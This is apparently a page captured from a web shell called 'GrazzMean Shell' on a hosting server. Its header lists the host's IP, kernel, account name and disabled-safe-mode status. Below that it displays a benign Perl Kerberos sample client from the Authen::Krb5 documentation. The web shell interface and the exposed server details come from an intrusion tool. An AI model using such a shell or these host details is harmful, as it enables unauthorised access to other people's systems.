shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Authen-Krb5/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.17.63.170
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : sample_client
#!/usr/bin/perl

# sample_client
# sends authentication info to a server via sendauth

use blib; # remove if not in module build directory
use IO::Socket;
use Authen::Krb5 (KRB5_NT_SRV_HST);

# replace with your own stuff
$SERVICE = "sample";
$SERVER = "server.domain.edu";

Authen::Krb5::init_context();

$ac = new Authen::Krb5::AuthContext;

$s = new IO::Socket::INET(
	PeerAddr => $SERVER,
	PeerPort => 12345,
	Proto => 'tcp'
);
defined $s or die $!;

$cc = Authen::Krb5::cc_default();

$clientp = Authen::Krb5::parse_name($ENV{'USER'});
$serverp = Authen::Krb5::sname_to_principal($SERVER,$SERVICE,KRB5_NT_SRV_HST);
if (Authen::Krb5::sendauth($ac,$s,"V1",$clientp,$serverp,
	AP_OPTS_MUTUAL_REQUIRED,"test",undef,$cc)) {
	print "Sent authentication info.\n";
}
else {
	print "sendauth error: ",Authen::Krb5::error(),"\n";
}

close($s);

Authen::Krb5::free_context();
© 2025 GrazzMean